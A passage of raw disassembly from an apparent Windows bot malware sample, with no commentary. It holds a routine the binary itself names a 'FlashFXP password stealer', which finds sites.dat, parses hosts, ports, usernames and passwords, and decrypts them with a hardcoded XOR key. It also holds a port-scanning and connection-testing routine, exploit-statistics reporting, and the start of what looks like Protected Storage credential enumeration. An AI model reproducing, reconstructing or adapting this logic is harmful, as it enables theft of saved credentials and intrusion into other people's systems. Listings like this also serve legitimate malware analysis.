byte ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1BC] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_3BC] push offset aExploitStatist ; "Exploit statistics - " push eax call sub_4114B8 ; _mbscpy xor ebx, ebx add esp, 18h cmp byte ptr dword_417D98, bl jz short loc_40F7D2 push esi mov esi, offset dword_417D98 mov eax, esi loc_40F773: ; CODE XREF: sub_40F727+A8j push 12h push eax lea eax, [ebp+var_14] push eax call sub_4059C2 lea eax, [ebp+var_14] push eax call sub_40B5E1 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_3BC] push eax call sub_4114EE ; _mbscat add esp, 18h lea eax, [ebp+var_3BC] push dword ptr [esi+2Ah] push offset dword_41835C push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_3BC] push eax call sub_4114DC ; sprintf add esp, 0Ch cmp [ebp+var_21], bl jz short loc_40F7C8 mov [esi+2Ah], ebx loc_40F7C8: ; CODE XREF: sub_40F727+9Cj add esi, 3Ah mov eax, esi cmp [esi], bl jnz short loc_40F773 pop esi loc_40F7D2: ; CODE XREF: sub_40F727+42j lea eax, [ebp+var_3BC] mov [ebp+var_20], bl push eax lea eax, [ebp+var_1B8] push eax call sub_4096CB push [ebp+var_1BC] call sub_406E6F add esp, 0Ch xor eax, eax pop ebx leave retn 4 sub_40F727 endp ; =============== S U B R O U T I N E ======================================= sub_40F7FD proc near ; CODE XREF: sub_407A76+746p arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40F833 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push esi push offset sub_40F727 call sub_406D58 add esp, 10h loc_40F833: ; CODE XREF: sub_40F7FD+10j pop esi retn sub_40F7FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F835 proc near ; DATA XREF: sub_40F908+AFo var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_1B0 = byte ptr -1B0h var_1AA = dword ptr -1AAh var_1A6 = byte ptr -1A6h var_E = byte ptr -0Eh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2B4h push esi push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2B4] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free call sub_4114E2 ; clock push [ebp+var_1AA] mov esi, eax lea eax, [ebp+var_1B0] push 0 push eax lea eax, [ebp+var_2B0] push eax call sub_403C04 add esp, 20h test eax, eax jz short loc_40F8B7 push eax call sub_403D92 pop ecx call sub_4114E2 ; clock sub eax, esi push eax lea eax, [ebp+var_1B0] push eax lea eax, [ebp+var_2B0] push eax lea eax, [ebp+var_1A6] push offset dword_418408 push eax call sub_4096CB add esp, 14h jmp short loc_40F8F5 ; --------------------------------------------------------------------------- loc_40F8B7: ; CODE XREF: sub_40F835+4Dj cmp [ebp+var_E], 0 jnz short loc_40F8F5 call sub_4114E2 ; clock sub eax, esi cmp eax, [ebp+var_1AA] lea eax, [ebp+var_1B0] push eax lea eax, [ebp+var_2B0] push eax jb short loc_40F8E1 push offset dword_4183D0 jmp short loc_40F8E6 ; --------------------------------------------------------------------------- loc_40F8E1: ; CODE XREF: sub_40F835+A3j push offset dword_4183A0 loc_40F8E6: ; CODE XREF: sub_40F835+AAj lea eax, [ebp+var_1A6] push eax call sub_4096CB add esp, 10h loc_40F8F5: ; CODE XREF: sub_40F835+80j ; sub_40F835+86j push [ebp+var_2B4] call sub_406E6F pop ecx xor eax, eax pop esi leave retn 4 sub_40F835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F908 proc near ; CODE XREF: sub_407A76+1021p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_40F9C4 mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_40F924 mov ebx, offset a80 ; "80" loc_40F924: ; CODE XREF: sub_40F908+15j push ebx call sub_41151C ; atoi test eax, eax pop ecx jz loc_40F9C4 cmp eax, 0FFFFh ja loc_40F9C4 cmp [ebp+arg_C], 0 jz short loc_40F951 push [ebp+arg_C] call sub_41151C ; atoi pop ecx mov edi, eax jmp short loc_40F956 ; --------------------------------------------------------------------------- loc_40F951: ; CODE XREF: sub_40F908+3Aj mov edi, 0EA60h loc_40F956: ; CODE XREF: sub_40F908+47j test edi, edi jz short loc_40F9C4 cmp edi, 36EE80h ja short loc_40F9C4 push 2B1h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40F9C4 push 100h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4059C2 push 6 lea eax, [esi+104h] push ebx push eax call sub_4059C2 push [ebp+arg_0] lea eax, [esi+10Eh] mov [esi+10Ah], edi push eax call sub_40457C add esp, 20h push ebx push [ebp+arg_4] push offset dword_418438 push 0 push esi push offset sub_40F835 call sub_406D58 add esp, 18h loc_40F9C4: ; CODE XREF: sub_40F908+Aj ; sub_40F908+25j ... pop edi pop esi pop ebx pop ebp retn sub_40F908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9C9 proc near ; DATA XREF: sub_40FBA7+169o var_2E0 = qword ptr -2E0h var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2C8h push ebx push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free push [ebp+var_1BC] mov ebx, [ebp+var_1C4] call sub_40396E add esp, 14h mov [ebp+arg_0], eax test eax, eax jnz short loc_40FA1D push [ebp+var_2C8] call sub_406E6F pop ecx xor eax, eax jmp loc_40FBA2 ; --------------------------------------------------------------------------- loc_40FA1D: ; CODE XREF: sub_40F9C9+3Fj movzx eax, word ptr [ebp+var_1C4+2] push esi push edi push [ebp+var_1BC] push eax movzx eax, word ptr [ebp+var_1C4] push eax lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_2C8] push dword ptr [eax] lea eax, [ebp+var_1B8] push offset dword_4184A8 push eax call sub_4096CB mov esi, dword_4120A4 add esp, 1Ch cmp [ebp+var_20], 0 mov edi, 3E8h jnz short loc_40FA6C push edi call esi ; Sleep loc_40FA6C: ; CODE XREF: sub_40F9C9+9Ej call sub_4114E2 ; clock and [ebp+var_8], 0 mov [ebp+var_4], eax loc_40FA78: ; CODE XREF: sub_40F9C9+10Dj ; sub_40F9C9+186j mov eax, [ebp+var_2C8] cmp dword ptr [eax+4], 0 jnz loc_40FB54 cmp bx, word ptr [ebp+var_1C4+2] ja loc_40FB54 lea eax, [ebp+var_10] push 0Ah push eax movzx eax, bx push eax call sub_41192A ; _itoa add esp, 0Ch lea eax, [ebp+var_10] inc ebx push [ebp+arg_0] mov [ebp+var_14], ebx push 0 push eax lea eax, [ebp+var_2C4] push eax call sub_403B44 add esp, 0Ch push eax call sub_403996 pop ecx test eax, eax pop ecx jz short loc_40FAD8 cmp bx, word ptr [ebp+var_1C4+2] jbe short loc_40FA78 loc_40FAD8: ; CODE XREF: sub_40F9C9+104j push [ebp+var_1C0] call esi ; Sleep push [ebp+arg_0] call sub_403A1B test eax, eax pop ecx jz short loc_40FB43 loc_40FAED: ; CODE XREF: sub_40F9C9+178j mov eax, [ebp+var_2C8] cmp dword ptr [eax+4], 0 jnz short loc_40FB43 push [ebp+arg_0] call sub_403AB5 test eax, eax pop ecx jz short loc_40FB43 lea ecx, [ebp+var_10] push ecx push eax call sub_40357F pop ecx mov bl, [ebp+var_20] pop ecx lea eax, [ebp+var_10] inc [ebp+var_8] and [ebp+var_20], 0 push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_1B8] push offset dword_418494 push eax call sub_4096CB add esp, 10h mov [ebp+var_20], bl push edi call esi ; Sleep jmp short loc_40FAED ; --------------------------------------------------------------------------- loc_40FB43: ; CODE XREF: sub_40F9C9+122j ; sub_40F9C9+12Ej ... push [ebp+arg_0] call sub_403AF7 mov ebx, [ebp+var_14] pop ecx jmp loc_40FA78 ; --------------------------------------------------------------------------- loc_40FB54: ; CODE XREF: sub_40F9C9+B9j ; sub_40F9C9+C6j push [ebp+var_8] call sub_4114E2 ; clock sub eax, [ebp+var_4] push ecx push ecx mov [ebp+var_4], eax lea eax, [ebp+var_2C4] fild [ebp+var_4] fmul flt_412280 fstp [esp+2E0h+var_2E0] push eax lea eax, [ebp+var_1B8] push offset unk_418458 push eax call sub_4096CB push [ebp+arg_0] call sub_403B2F push [ebp+var_2C8] call sub_406E6F add esp, 20h xor eax, eax pop edi pop esi loc_40FBA2: ; CODE XREF: sub_40F9C9+4Fj pop ebx leave retn 4 sub_40F9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FBA7 proc near ; CODE XREF: sub_407A76+7BAp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 push ebx push esi push edi jz loc_40FD1D mov eax, [ebp+arg_8] test eax, eax jz loc_40FD1D cmp [ebp+arg_C], 0 jnz short loc_40FBCC mov [ebp+arg_C], eax loc_40FBCC: ; CODE XREF: sub_40FBA7+20j push eax call sub_41151C ; atoi mov edi, eax pop ecx test edi, edi mov [ebp+arg_8], edi jz loc_40FD1D mov esi, 0FFFFh cmp edi, esi ja loc_40FD1D push [ebp+arg_C] call sub_41151C ; atoi mov ebx, eax pop ecx test ebx, ebx mov [ebp+var_4], ebx jz loc_40FD1D cmp ebx, esi ja loc_40FD1D push 2B3h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz loc_40FD1D cmp edi, ebx jbe short loc_40FC2A mov [ebp+var_4], edi mov [ebp+arg_8], ebx loc_40FC2A: ; CODE XREF: sub_40FBA7+7Bj cmp [ebp+arg_10], 0 mov edi, 7D0h jz short loc_40FC43 push [ebp+arg_10] call sub_41151C ; atoi pop ecx mov [ebp+arg_C], eax jmp short loc_40FC46 ; --------------------------------------------------------------------------- loc_40FC43: ; CODE XREF: sub_40FBA7+8Cj mov [ebp+arg_C], edi loc_40FC46: ; CODE XREF: sub_40FBA7+9Aj cmp [ebp+arg_C], 0 mov ebx, 0EA60h jz short loc_40FC56 cmp [ebp+arg_C], ebx jbe short loc_40FC59 loc_40FC56: ; CODE XREF: sub_40FBA7+A8j mov [ebp+arg_C], edi loc_40FC59: ; CODE XREF: sub_40FBA7+ADj cmp [ebp+arg_14], 0 mov edi, 100h jz short loc_40FC72 push [ebp+arg_14] call sub_41151C ; atoi pop ecx mov [ebp+arg_10], eax jmp short loc_40FC75 ; --------------------------------------------------------------------------- loc_40FC72: ; CODE XREF: sub_40FBA7+BBj mov [ebp+arg_10], edi loc_40FC75: ; CODE XREF: sub_40FBA7+C9j cmp [ebp+arg_10], 0 jz short loc_40FC84 cmp [ebp+arg_10], 200h jbe short loc_40FC87 loc_40FC84: ; CODE XREF: sub_40FBA7+D2j mov [ebp+arg_10], edi loc_40FC87: ; CODE XREF: sub_40FBA7+DBj push edi lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4114D6 ; strncpy mov ax, word ptr [ebp+arg_8] add esp, 0Ch cmp [ebp+arg_C], ebx mov [esi+104h], ax mov ax, word ptr [ebp+var_4] mov [esi+106h], ax ja short loc_40FCB5 mov ebx, [ebp+arg_C] loc_40FCB5: ; CODE XREF: sub_40FBA7+109j mov eax, 200h mov [esi+108h], ebx cmp [ebp+arg_10], eax ja short loc_40FCC8 mov eax, [ebp+arg_10] loc_40FCC8: ; CODE XREF: sub_40FBA7+11Cj mov ebx, [ebp+arg_0] lea edi, [esi+10Ch] push 1A3h push ebx mov [edi], eax lea eax, [esi+110h] push eax call sub_4114D0 ; memcpy movzx eax, word ptr [esi+106h] add esp, 0Ch push dword ptr [edi] push eax movzx eax, word ptr [esi+104h] push eax lea eax, [esi+4] push eax xor eax, eax cmp [ebx+18Bh], al push offset dword_4184F0 setz al push eax push esi push offset sub_40F9C9 call sub_406D58 add esp, 20h loc_40FD1D: ; CODE XREF: sub_40FBA7+Bj ; sub_40FBA7+16j ... pop edi pop esi pop ebx leave retn sub_40FBA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD22 proc near ; CODE XREF: sub_40FEB8+234p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi lea eax, [ebp+var_4] push edi mov edi, [ebp+arg_4] mov esi, offset dword_413B5C push eax push esi push edi mov ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" call sub_411522 ; sscanf add esp, 0Ch test eax, eax jz short loc_40FDA1 inc edi inc edi loc_40FD4A: ; CODE XREF: sub_40FD22+7Dj lea eax, [ebp+arg_4] push eax push esi push edi call sub_411522 ; sscanf add esp, 0Ch test eax, eax jz short loc_40FDA1 movsx ecx, byte ptr [ebx] mov eax, [ebp+arg_4] xor eax, ecx inc ebx cmp [ebp+var_4], eax mov [ebp+arg_4], eax jl short loc_40FD71 dec eax mov [ebp+arg_4], eax loc_40FD71: ; CODE XREF: sub_40FD22+49j sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ecx], al lea eax, [ebp+var_4] push eax push esi push edi call sub_411522 ; sscanf add esp, 0Ch test eax, eax jz short loc_40FDA1 inc edi inc edi cmp byte ptr [ebx], 0 jnz short loc_40FD9A mov ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_40FD9A: ; CODE XREF: sub_40FD22+71j cmp byte ptr [edi], 0 jz short loc_40FDA5 jmp short loc_40FD4A ; --------------------------------------------------------------------------- loc_40FDA1: ; CODE XREF: sub_40FD22+24j ; sub_40FD22+38j ... xor eax, eax jmp short loc_40FDAE ; --------------------------------------------------------------------------- loc_40FDA5: ; CODE XREF: sub_40FD22+7Bj mov eax, [ebp+arg_0] push 1 and byte ptr [eax], 0 pop eax loc_40FDAE: ; CODE XREF: sub_40FD22+81j pop edi pop esi pop ebx leave retn sub_40FD22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FDB3 proc near ; CODE XREF: sub_40FEB8+2Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi lea eax, [ebp+var_8] push edi xor edi, edi push eax push 20019h push edi push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h mov [ebp+var_8], edi call dword_412000 ; RegOpenKeyExA mov ebx, [ebp+arg_0] lea eax, [ebp+var_C] push eax push ebx push edi push edi push edi mov esi, 104h push [ebp+var_8] mov [ebp+var_C], esi call dword_41200C ; RegQueryValueExA push [ebp+var_8] mov [ebp+arg_0], eax call dword_412028 ; RegCloseKey cmp [ebp+arg_0], edi jnz short loc_40FE42 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push ebx call sub_405A0D add esp, 0Ch cmp eax, edi mov [ebp+arg_0], eax jz short loc_40FE42 push offset aSites_dat ; "sites.dat" push eax call sub_4114B8 ; _mbscpy mov eax, [ebp+arg_0] lea ecx, [eax+0Fh] add eax, 9 push ecx push eax call sub_4114B8 ; _mbscpy add esp, 10h loc_40FE3D: ; CODE XREF: sub_40FDB3+B8j ; sub_40FDB3+F1j push 1 pop eax jmp short loc_40FEB3 ; --------------------------------------------------------------------------- loc_40FE42: ; CODE XREF: sub_40FDB3+53j ; sub_40FDB3+6Aj push esi push ebx push offset aProgramfiles ; "ProgramFiles" call dword_41210C ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push ebx call sub_4114EE ; _mbscat mov esi, offset aRb ; "rb" push esi push ebx call sub_411506 ; fopen add esp, 10h test eax, eax jnz short loc_40FE3D mov eax, dword_4143A0 mov [ebp+var_4], eax loc_40FE75: ; CODE XREF: sub_40FDB3+FCj lea eax, [ebp+var_4] push eax call dword_4120D0 ; GetDriveTypeA cmp eax, 5 jz short loc_40FEA6 cmp eax, 2 jz short loc_40FEA6 lea eax, [ebp+var_4] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push ebx call sub_4114DC ; sprintf push esi push ebx call sub_411506 ; fopen add esp, 14h test eax, eax jnz short loc_40FE3D loc_40FEA6: ; CODE XREF: sub_40FDB3+CFj ; sub_40FDB3+D4j inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jz short loc_40FEB1 jmp short loc_40FE75 ; --------------------------------------------------------------------------- loc_40FEB1: ; CODE XREF: sub_40FDB3+FAj xor eax, eax loc_40FEB3: ; CODE XREF: sub_40FDB3+8Dj pop edi pop esi pop ebx leave retn sub_40FDB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FEB8 proc near ; DATA XREF: sub_4101AE+29o var_5C4 = byte ptr -5C4h var_444 = byte ptr -444h var_3C4 = byte ptr -3C4h var_344 = byte ptr -344h var_2C4 = byte ptr -2C4h var_244 = dword ptr -244h var_240 = byte ptr -240h var_A8 = byte ptr -0A8h var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5C4h push 1A7h lea eax, [ebp+var_244] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_5C4] push eax call sub_40FDB3 add esp, 14h test eax, eax jnz short loc_40FF03 push [ebp+var_244] call sub_406E6F pop ecx xor eax, eax jmp locret_4101AA ; --------------------------------------------------------------------------- loc_40FF03: ; CODE XREF: sub_40FEB8+36j mov eax, [ebp+var_244] push ebx push esi push edi push dword ptr [eax] lea eax, [ebp+var_240] push offset unk_4186C0 push eax call sub_4096CB mov al, [ebp+var_A8] xor ebx, ebx mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_5C4] push offset aRb ; "rb" push eax mov [ebp+var_18], ebx mov [ebp+var_4], ebx mov [ebp+var_A8], bl call sub_411506 ; fopen mov edi, eax add esp, 14h cmp edi, ebx jz loc_410199 push 2 push ebx push edi call sub_411516 ; fseek push edi call sub_4114F4 ; ftell mov esi, eax mov eax, 100000h add esp, 10h cmp esi, eax jb short loc_40FF73 mov esi, eax loc_40FF73: ; CODE XREF: sub_40FEB8+B7j push ebx push ebx push edi call sub_411516 ; fseek lea eax, [esi+1] push eax call sub_4114C4 ; malloc add esp, 10h cmp eax, ebx mov [ebp+var_10], eax push edi jnz short loc_40FF9A call sub_411500 ; fclose pop ecx jmp loc_410199 ; --------------------------------------------------------------------------- loc_40FF9A: ; CODE XREF: sub_40FEB8+D5j push esi push 1 push eax call sub_411510 ; fread push edi call sub_411500 ; fclose mov eax, [ebp+var_10] add esp, 14h mov [eax+esi], bl mov esi, eax loc_40FFB4: ; CODE XREF: sub_40FEB8+29Dj push offset asc_4186B8 ; "\r\n\r\n[" push esi call sub_411528 ; strstr push offset aIp ; "\r\nIP=" push esi mov edi, eax call sub_411528 ; strstr push offset aPort ; "\r\nPort=" push esi mov [ebp+var_14], eax call sub_411528 ; strstr push offset aUser_0 ; "\r\nUser=" push esi mov [ebp+var_8], eax call sub_411528 ; strstr push offset aPass_0 ; "\r\nPass=" push esi mov [ebp+var_C], eax call sub_411528 ; strstr add esp, 28h cmp [ebp+var_14], ebx mov [ebp+var_1C], eax jz loc_41014B cmp edi, ebx jz short loc_410012 cmp [ebp+var_14], edi jnb loc_41014B loc_410012: ; CODE XREF: sub_40FEB8+14Fj cmp [ebp+var_8], ebx jz loc_41014B cmp edi, ebx jz short loc_410028 cmp [ebp+var_8], edi jnb loc_41014B loc_410028: ; CODE XREF: sub_40FEB8+165j cmp [ebp+var_C], ebx jz loc_41014B cmp edi, ebx jz short loc_41003E cmp [ebp+var_C], edi jnb loc_41014B loc_41003E: ; CODE XREF: sub_40FEB8+17Bj cmp eax, ebx jz loc_41014B cmp edi, ebx jz short loc_410052 cmp eax, edi jnb loc_41014B loc_410052: ; CODE XREF: sub_40FEB8+190j lea eax, [ebp+var_444] loc_410058: ; DATA XREF: kkrunchy:off_415978o mov [ebp+var_9C], bl push eax push offset asc_41868C ; "[%[^]]]\r\n" push esi mov [ebp+var_344], bl mov [ebp+var_3C4], bl mov [ebp+var_2C4], bl mov [ebp+var_444], bl call sub_411522 ; sscanf add esp, 0Ch lea eax, [ebp+var_2C4] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_14] call sub_411522 ; sscanf add esp, 0Ch lea eax, [ebp+var_3C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_8] call sub_411522 ; sscanf add esp, 0Ch lea eax, [ebp+var_344] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_C] call sub_411522 ; sscanf add esp, 0Ch lea eax, [ebp+var_9C] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_1C] call sub_411522 ; sscanf lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_9C] push eax call sub_40FD22 add esp, 14h test eax, eax jz short loc_41015A inc [ebp+var_4] push 3E8h call dword_4120A4 ; Sleep lea eax, [ebp+var_444] push eax lea eax, [ebp+var_3C4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_344] push eax lea eax, [ebp+var_240] push [ebp+var_4] push offset dword_418620 push eax call sub_4096CB mov eax, [ebp+var_244] add esp, 20h cmp [eax+4], ebx jnz short loc_41015A loc_41014B: ; CODE XREF: sub_40FEB8+147j ; sub_40FEB8+154j ... inc [ebp+var_18] cmp edi, ebx jz short loc_41015A lea esi, [edi+4] jmp loc_40FFB4 ; --------------------------------------------------------------------------- loc_41015A: ; CODE XREF: sub_40FEB8+23Ej ; sub_40FEB8+291j ... push [ebp+var_10] call sub_4114CA ; free mov al, byte ptr [ebp+arg_0+3] pop ecx push 3E8h mov [ebp+var_A8], al call dword_4120A4 ; Sleep push [ebp+var_18] mov eax, [ebp+var_244] push [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_240] push offset unk_4185E4 push eax call sub_4096CB add esp, 14h loc_410199: ; CODE XREF: sub_40FEB8+96j ; sub_40FEB8+DDj push [ebp+var_244] call sub_406E6F pop ecx pop edi pop esi xor eax, eax pop ebx locret_4101AA: ; CODE XREF: sub_40FEB8+46j leave retn 4 sub_40FEB8 endp ; =============== S U B R O U T I N E ======================================= sub_4101AE proc near ; CODE XREF: sub_407A76+4CAp arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_4101E4 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push esi push offset sub_40FEB8 call sub_406D58 add esp, 10h loc_4101E4: ; CODE XREF: sub_4101AE+10j pop esi retn sub_4101AE endp ; =============== S U B R O U T I N E ======================================= sub_4101E6 proc near ; DATA XREF: sub_41094B+32o mov eax, offset loc_411980 call sub_4117C8 sub esp, 0F98h push ebx push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-290h] push eax call sub_4114D0 ; memcpy push dword ptr [ebp+8] call sub_4114CA ; free add esp, 10h xor ebx, ebx lea eax, [ebp-14h] push ebx push ebx push ebx push eax mov [ebp-4], ebx mov [ebp-14h], ebx call dword_419220 cmp eax, ebx jge short loc_410242 push dword ptr [ebp-290h] call sub_406E6F pop ecx jmp loc_410927 ; --------------------------------------------------------------------------- loc_410242: ; CODE XREF: sub_4101E6+49j cmp [ebp-14h], ebx mov byte ptr [ebp-4], 1 mov [ebp-1Ch], ebx jnz short loc_410258 push 80004003h call sub_4117F0 loc_410258: ; CODE XREF: sub_4101E6+66j mov esi, [ebp-14h] lea ecx, [ebp-1Ch] push ecx push ebx mov eax, [esi] push ebx push esi call dword ptr [eax+38h] cmp eax, ebx jge short loc_410288 push offset dword_418950 push esi push eax call sub_4117FE push dword ptr [ebp-290h] call sub_406E6F pop ecx jmp loc_410917 ; --------------------------------------------------------------------------- loc_410288: ; CODE XREF: sub_4101E6+83j mov eax, [ebp-290h] push dword ptr [eax] lea eax, [ebp-28Ch] push offset unk_41891C push eax call sub_4096CB mov al, [ebp-0F4h] add esp, 0Ch mov [ebp-10h], ebx mov [ebp+0Bh], al mov [ebp-0F4h], bl loc_4102B6: ; CODE XREF: sub_4101E6+6E2j ; sub_4101E6+6EEj cmp [ebp-1Ch], ebx jnz short loc_4102C5 push 80004003h call sub_4117F0 loc_4102C5: ; CODE XREF: sub_4101E6+D3j mov eax, [ebp-1Ch] lea edx, [ebp-40h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_4108D9 mov eax, [ebp-290h] cmp [eax+4], ebx jnz loc_4108D9 sub esp, 10h lea esi, [ebp-40h] mov edi, esp lea eax, [ebp-84h] movsd movsd movsd push offset asc_418918 ; "%x" push eax movsd call dword_4121EC ; wsprintfA add esp, 18h cmp [ebp-14h], ebx mov byte ptr [ebp-4], 2 mov [ebp-24h], ebx jnz short loc_410323 push 80004003h call sub_4117F0 loc_410323: ; CODE XREF: sub_4101E6+131j mov esi, [ebp-14h] lea ecx, [ebp-24h] push ecx lea ecx, [ebp-40h] mov eax, [esi] push ebx push ecx push ebx push esi call dword ptr [eax+3Ch] cmp eax, ebx jge short loc_410346 push offset dword_418950 push esi push eax call sub_4117FE loc_410346: ; CODE XREF: sub_4101E6+152j ; sub_4101E6+6C8j ... cmp [ebp-24h], ebx jnz short loc_410355 push 80004003h call sub_4117F0 loc_410355: ; CODE XREF: sub_4101E6+163j mov eax, [ebp-24h] lea edx, [ebp-50h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_4108BF cmp [ebp-14h], ebx mov byte ptr [ebp-4], 3 mov [ebp-28h], ebx jnz short loc_410383 push 80004003h call sub_4117F0 loc_410383: ; CODE XREF: sub_4101E6+191j mov esi, [ebp-14h] lea ecx, [ebp-28h] push ecx lea ecx, [ebp-50h] mov eax, [esi] push ebx push ecx lea ecx, [ebp-40h] push ecx push ebx push esi call dword ptr [eax+54h] cmp eax, ebx jge short loc_4103AA push offset dword_418950 push esi push eax call sub_4117FE loc_4103AA: ; CODE XREF: sub_4101E6+1B6j ; sub_4101E6+6BAj cmp [ebp-28h], ebx jnz short loc_4103B9 push 80004003h call sub_4117F0 loc_4103B9: ; CODE XREF: sub_4101E6+1C7j mov eax, [ebp-28h] lea edx, [ebp-30h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_4108A5 push dword ptr [ebp-30h] mov edi, dword_4121EC lea eax, [ebp-7BCh] push offset aWs ; "%ws" push eax call edi ; wsprintfA add esp, 0Ch cmp [ebp-14h], ebx mov [ebp-20h], ebx mov [ebp-18h], ebx jnz short loc_410400 push 80004003h call sub_4117F0 loc_410400: ; CODE XREF: sub_4101E6+20Ej push ebx lea ecx, [ebp-18h] push ebx push ecx mov esi, [ebp-14h] lea ecx, [ebp-20h] push ecx lea ecx, [ebp-50h] push dword ptr [ebp-30h] mov eax, [esi] push ecx lea ecx, [ebp-40h] push ecx push ebx push esi call dword ptr [eax+44h] cmp eax, ebx jge short loc_41042F push offset dword_418950 push esi push eax call sub_4117FE loc_41042F: ; CODE XREF: sub_4101E6+23Bj push dword ptr [ebp-18h] call sub_4114BE ; strlen mov esi, [ebp-20h] pop ecx lea ecx, [esi-1] cmp eax, ecx jnb short loc_410475 xor ecx, ecx xor edx, edx cmp esi, ebx jbe short loc_41046C loc_41044A: ; CODE XREF: sub_4101E6+284j mov eax, [ebp-18h] mov al, [edx+eax] cmp al, bl jnz short loc_41045E mov byte ptr [ebp+ecx-5BCh], 2Ch jmp short loc_410465 ; --------------------------------------------------------------------------- loc_41045E: ; CODE XREF: sub_4101E6+26Cj mov [ebp+ecx-5BCh], al loc_410465: ; CODE XREF: sub_4101E6+276j inc ecx inc edx inc edx cmp edx, esi jb short loc_41044A loc_41046C: ; CODE XREF: sub_4101E6+262j mov [ebp+ecx-5BDh], bl jmp short loc_410489 ; --------------------------------------------------------------------------- loc_410475: ; CODE XREF: sub_4101E6+25Aj push dword ptr [ebp-18h] lea eax, [ebp-5BCh] push offset dword_413B6C push eax call edi ; wsprintfA add esp, 0Ch loc_410489: ; CODE XREF: sub_4101E6+28Dj mov esi, dword_412104 mov edi, offset byte_4191D0 lea eax, [ebp-0FA4h] push edi push eax call esi ; lstrcpy lea eax, [ebp-9BCh] push edi push eax call esi ; lstrcpy mov esi, dword_412110 lea eax, [ebp-84h] push offset a220d5cc1 ; "220d5cc1" push eax call esi 